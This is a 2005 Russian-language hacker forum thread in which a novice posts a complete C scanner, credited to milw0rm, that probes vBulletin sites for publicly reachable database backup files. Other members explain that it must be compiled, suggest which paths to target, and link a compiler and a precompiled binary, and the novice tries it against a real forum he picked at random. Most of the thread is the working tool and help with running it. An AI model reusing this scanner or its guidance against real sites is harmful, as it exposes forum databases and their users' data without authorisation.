Форумы vBulletin Version 3.0.7

Discussion in 'Уязвимости CMS/форумов' started by Enter.beta, 9 Nov 2005.

  1. Enter.beta

    Enter.beta New Member

    Joined:
    4 Nov 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Вот есть эксплойт под ету версию форума vBulletin Version 3.0.7
    кажется эксплойт написан на перл кажытся я его запустил на CMD, может я и ошибаюсь в чомта ну ктонибуд помогите обясните н00бу что далше делат или какие команды писать
    За ранее Спасибо
    Вот и сам элыплойт
    Code:
    /*
     * Needed to pentest a few vBulletin forums so I wrote this junk real quick.
     * Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html
     * Good paths: /forum/ / /forum/archive/ /forum/cpadmin/
     * Update 1: Code error fixes. /str0ke ([email protected])
     * Update 2: Fixed datestring-version for international boards by hals1 ([email protected])
     * Update 3: French vBulletin boards added by Tyn0r ([email protected])
     * /str0ke
     */
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <unistd.h>
    
    #define SERVER_PORT 80
    
    char *getdate(int b){
    	static char datestring[40];
    	time_t ttt;
            int minustime;
    	minustime=86400 * b;
    	ttt=time(NULL)- minustime;
    	strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
    	printf("Searching: forumbackup-%s.sql\n", datestring);
    	return(datestring);
    }
    
    char *getdate2(int b){
            static char datestring[40];
            time_t ttt;
            int minustime;
            minustime=86400 * b;
            ttt=time(NULL)- minustime;
            strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
            printf("Searching: forumbackup-%s.sql\n", datestring);
            return(datestring);
    }
    
    char *getdate3(int b){
            static char datestring[40];
            time_t ttt;
            int minustime;
            minustime=86400 * b;
            ttt=time(NULL)- minustime;
            strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
            printf("Searching: forumbackup-%s.sql\n", datestring);
            return(datestring);
    }
    
    char *getdate4(int b){
    	static char datestring[40];
    	time_t ttt;
            int minustime;
    	minustime=86400 * b;
    	ttt=time(NULL)- minustime;
    	strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
    	printf("Searching: forumbackup-%s.sql\n", datestring);
    	return(datestring);
    }
    
    char *getdate5(int b){
            static char datestring[40];
            time_t ttt;
            int minustime;
            minustime=86400 * b;
            ttt=time(NULL)- minustime;
            strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
            printf("Searching: forumbackup-%s.sql\n", datestring);
            return(datestring);
    }
    
    char *getdate6(int b){
            static char datestring[40];
            time_t ttt;
            int minustime;
            minustime=86400 * b;
            ttt=time(NULL)- minustime;
            strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
            printf("Searching: forumbackup-%s.sql\n", datestring);
            return(datestring);
    }
    
    char *getdate7(int b){
            static char datestring[40];
            time_t ttt;
            int minustime;
            minustime=86400 * b;
            ttt=time(NULL)- minustime;
            strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
            printf("Searching: forumbackup-%s.sql\n", datestring);
            return(datestring);
    }
    
    main(int argc, char *argv[]) {
    
     char buffer[1000],host[255],path[255],dog[255],c;
     int sd, rc, i=0, d=0, b;
     struct sockaddr_in localAddr, servAddr;
     struct hostent *h;
    
    char *http =
             "Accept: */*\r\n"
             "Accept-Language: en-us,en;q=0.5\r\n"
             "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
             "User-Agent: we want your backups - milw0rm\r\n"
             "Connection: close\r\n\r\n";
    
    if ( argc != 5) {
    	        printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
    	        printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
    	        exit(0);
    }
    
    
     while ((c = getopt (argc, argv, "h:p:")) != EOF)
           switch(c)
           {
                   case 'h':
                           strncpy(host,optarg,sizeof(host));
                           break;
                   case 'p':
                           strncpy(path,optarg,sizeof(path));
                           break;
           }
    
     h = gethostbyname(host);
     
     if(h==NULL) {
       printf("Unknown Host '%s'\n",host);
       exit(1);
     }
    
     printf("Trying To Connect To [%s]\n",host);
     while(1){
     servAddr.sin_family = h->h_addrtype;
     memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
     servAddr.sin_port = htons(SERVER_PORT);
     sd = socket(AF_INET, SOCK_STREAM, 0);
     
     if(sd<0) {
       perror("Can Not Open The Socket\n");
       exit(1);
     }
    
     localAddr.sin_family = AF_INET;
     localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
     localAddr.sin_port = htons(0);
    
     rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
     
     if(rc<0) {
       printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
       perror("error ");
       exit(1);
     }
    
     rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
    
     if(rc<0) {
       perror("cannot connect\n");
       exit(1);
     }
       memset(buffer,0,sizeof(buffer));
    
       if ( d == 0 ) {
       snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
       } else if ( d == 1 ) {
       snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
       } else if ( d == 2 ) {
       snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
       } else if ( d == 3 ) {
       snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);
       } else if ( d == 4 ) {
       snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);
       } else if ( d == 5 ) {
       snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);
       } else if ( d == 6 ) {
       snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);
       }
    
       rc = send(sd,buffer, strlen(buffer), 0);
       memset(buffer,0,sizeof(buffer));
    
    while(1)
           {
           rc=recv(sd,buffer,sizeof(buffer),0);
           if(strstr(buffer,"404")) break;
           if(strstr(buffer,"200 OK"))
                   {
    	       if ( d == 0 ) {
                   printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));
    	       }
    	       if ( d == 1 ) {
                   printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
    	       }
    	       if ( d == 2 ) {
                   printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
    	       }
    	       if ( d == 3 ) {
    	       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));
    	       }
    	       if ( d == 4 ) {
    	       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));
    	       }
    	       if ( d == 5 ) {
    	       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));
    	       }
    	       if ( d == 6 ) {
    	       printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));
    	       }
                   exit(0);
                   }
           memset(buffer,0,sizeof(buffer));
           }
    close(sd);
    
    if ( d < 6 ) {
    	d++;
    } else {
    	d=0;
            i++;
    }
    }
    }
    
    // milw0rm.com [2005-08-31]
    
    
    
     
  2. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    ну наверное так http://site.ru /forum/ / /forum/archive/ /forum/cpadmin/
    любой из этих строк.
    наскока я понял, он использует уязвимость и ищет бекапы баз данных?
    написан на сишке
     
  3. Enter.beta

    Enter.beta New Member

    Joined:
    4 Nov 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    да иммено так во а я и неподумал что Good paths: /forum/ / /forum/archive/ /forum/cpadmin/
    что это означает соманду щас проверим
    Спасибо если кто ещё может чо подсказать пишите

    //edit

    чота не пашет =/
    вот взял первый попавшыйся форум вот что делал и нифига не работает

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\Documents and Settings\Enter>cd\

    C:\>Perl\bin\perl.exe C:\test.pl
    Quantifier follows nothing in regex; marked by <-- HERE in m/* <-- HERE
    * Needed to pentest a few vBulletin forums so I wrote this junk real quick.
    * Reference: http:/ at C:\test.pl line 3.

    C:\>Perl\bin\perl.exe C:\test.pl http://vsyachina.com.ru /forum///forum/archive/
    /forum/admincp/
    Quantifier follows nothing in regex; marked by <-- HERE in m/* <-- HERE
    * Needed to pentest a few vBulletin forums so I wrote this junk real quick.
    * Reference: http:/ at C:\test.pl line 3.

    C:\>
     
    #3 Enter.beta, 9 Nov 2005
    Last edited: 9 Nov 2005
  4. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    это тебе о чем-нибуть говорит????
     
  5. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    ну, во первых, я же сказал на сишке написан, чо ты его к perl прикручиваешь.
    скачай какойнить компилятор си, хз попробуй этот чтоли http://kobeluga.narod.ru/tc.rar
    во вторых
    /forum/
    /
    /forum/archive/
    /forum/admincp/
    это папки пробуй по одной а не всей кучей
    в третьих, наскока процентов окажется что админ сохранил бекап форума именно сюда, я не знаю, по крайне мере ни разу не встретил, таких админов, которые сюда бекапят базы.
    удачи тебе
     
  6. w4rd3n

    w4rd3n Banned

    Joined:
    6 Oct 2005
    Messages:
    143
    Likes Received:
    3
    Reputations:
    -4
    Скиньте компиленный...
    Просто по определенным причинам нет компилятора...
     
  7. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    воть берите http://m0nzt3r.nm.ru/vbulletin спасибо потом скажете=))
    чувак ты даешь... это же СИШНИК!!
     
  8. Enter.beta

    Enter.beta New Member

    Joined:
    4 Nov 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Na znaju ja znaju ja ne zametil cto napisali cto eto C bilo

    Mozno takoj voprosik cto s etim txt failom delat, pereimenovat v exe? :D
    Sorry za to cto ja n00b no v etom ja ne silion
    MI php programisti :)

    Sorry za trnslit v mojej shkole net ruskoj klavi
     
  9. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Есля у тя юникс запускаешь ./exploit а если не юникс придется использовать шелл если он у тя есть...и не надо переименовывать во чтото..
     
  10. Enter.beta

    Enter.beta New Member

    Joined:
    4 Nov 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    ок, сорри но как исползовать шелл можно на какую статью направить?
    я понимаю что это полный н00бизм что я тут устрол просто этим я обычно не занимаюсь, и мы все с чегото начинали